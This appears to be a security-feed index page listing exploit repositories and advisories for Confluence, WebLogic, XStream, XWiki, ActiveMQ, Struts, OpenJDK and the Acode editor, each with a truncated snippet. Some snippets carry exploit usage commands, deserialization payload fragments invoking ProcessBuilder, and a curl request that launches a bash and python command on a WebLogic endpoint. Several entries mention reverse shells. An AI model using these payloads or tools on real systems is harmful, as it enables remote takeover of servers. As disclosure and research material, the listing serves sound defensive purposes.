CVE-2024-21683-RCE

CVE-2024-21683-RCE Credit https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Usage git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814和CNNVD-201904-961 Thanks to t00ls-ximcx0101 for providing the script CNVD-C-2019-48814 POC Summary Related links: Qingshui Chuanqi's Jianshu article: https://www.jianshu.com/p/c4982a845f55 Reposted by Security Ancestor: https://dwz.cn/2GQvbUae Due to environment factors, paths ma...

CVE-2026-18718

Advisory: GHSA-pcfh-853f-q3gh · Severity: High CVSS 7.5 · Affected: Ghidra ≤ 12.1.2 · Fixed: c03a70d Ghidra 12.1.3 Opening someone else's Ghidra project was enough to execute their code. Ghidra 12.1.2 stores analyzer options inside the program database , and one of those options is a filesystem...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server. Poc Create a JavaScript file and giv...

Weblogic_Wsat_RCE

WeblogicWsatRCE CVE-2017-10271에 대한 POC. java.lang.ProcessBuilder가 RCE의 원래 벡터였기 때문에, 이 특정 페이로드를 차단하는 여러 서명 기반 규칙이 있습니다. java.lang.Runtime을 추가했으며 향후 다른 것들도 추가할 예정입니다. 이는 교육 목적으로만 제공됩니다: 이 코드를 어떻게 사용하는지에 대해 저는 책임을 지지 않습니다...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC 예시 package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n"...

cve-2025-24893

CVE-2025-24893 XWiki RCE 익스플로잇 CVE-2025-24893 를 익스플로잇하는 간단한 Python3 스크립트입니다. 이는 XWiki 플랫폼의 원격 코드 실행 취약점으로, Groovy 기반 비동기 매크로와 설정 가능한 리버스 셸 페이로드를 사용합니다. ⚠️ 경고: 이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 불법적이고 비윤리적입니다. 목차 기능 요구 사항 설치 사용법 감지 및 프로토콜 대체 리버스 셸 페이로드 라이선스 면책 조항...

activemq-cve-2023-46604

Active MQ CVE-2023-46604 익스플로잇 이 저장소는 CVE-2023-46604를 악용하는 방법에 대한 예제가 포함된 가이드입니다. 이 익스플로잇은 리플렉션을 사용하여 Exception 클래스를 인스턴스화하는 악성 명령을 활용합니다. 유효한 명령 대신 예외 클래스로 Bean을 로드하는 Spring 클래스를 보내고, 문자열 생성자 매개변수로는 Spring Bean 정의가 포함된 XML 파일을 다운로드할 URL을 보냅니다. 이 Spring Bean은 사실 java.lang.ProcessBuilder로, Java...

S2-052

CVE-2017-9805 S2-052 Reverse Shell Exploit Affected Versions Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.internal.objects...

ActiveMQ-RCE

ActiveMQ RCE 영향을 받는 버전 verison open -a calculator HTTP 서버를 엽니다. python3 -m http.server Main.java 파일을 실행하세요 필요에 따라 주소를 변경하세요...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 A simple exploit for CVE-2019-2725. Example Code: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2026-34197-PoC

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE CVE-2026-34197 에 대한 개념 증명 및 기술 노트입니다. Jolokia JMX-HTTP 브리지를 통해 접근 가능한 Apache ActiveMQ Classic의 원격 코드 실행 취약점입니다. 영향 대상: ActiveMQ Classic ⚠️ 승인된 테스트/연구/CTF 용도로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오. 1. 정찰 curl -s...

Rocky Linux 9 [CIQ] Security Update: java-17-openjdk / java-17-openjdk-debuginfo / etc Multiple Vulnerabilities (crlsa-2023_1879)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20231879 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK: incorre...

Rocky Linux 8 [CIQ] Security Update: java-11-openjdk / java-11-openjdk-debuginfo / etc Multiple Vulnerabilities (crlsa-2023_1895)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20231895 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK: incorre...

Rocky Linux 8 [CIQ] Security Update: java-17-openjdk / java-17-openjdk-debuginfo / etc Multiple Vulnerabilities (crlsa-2023_1898)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20231898 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK: incorre...

Rocky Linux 9 [CIQ] Security Update: java-11-openjdk / java-11-openjdk-debuginfo / etc Multiple Vulnerabilities (crlsa-2023_1880)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20231880 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK: incorre...

Rocky Linux 9 [CIQ] Security Update: java-1.8.0-openjdk / java-1.8.0-openjdk-debuginfo / etc Multiple Vulnerabilities (crlsa-2023_1909)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20231909 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK: incorre...

CVE-2026-68928

Acode is a text and code editor for Android. In versions 1.11.6 through 1.12.7 , the bundled terminal plugin's TerminalService is declared as an exported service without a binding permission, and the service implementation does not verify the calling application. Any locally installed app can bin...

PT-2026-95707

Name of the Vulnerable Software and Affected Versions Acode versions 1.11.6 through 1.12.6 Description The com.foxdebug.acode.rk.exec.terminal.TerminalService is declared as an exported service without a binding permission, and the TerminalService.java file does not verify the caller. This allows...

CVE-2026-68928: Exposed Dangerous Method or Function

Acode is a powerful text and code editor for Android. From 1.11.6 until 1.12.7, com.foxdebug.acode.rk.exec.terminal.TerminalService is declared as an exported service in src/plugins/terminal/plugin.xml without a binding permission, and src/plugins/terminal/src/android/TerminalService.java does no...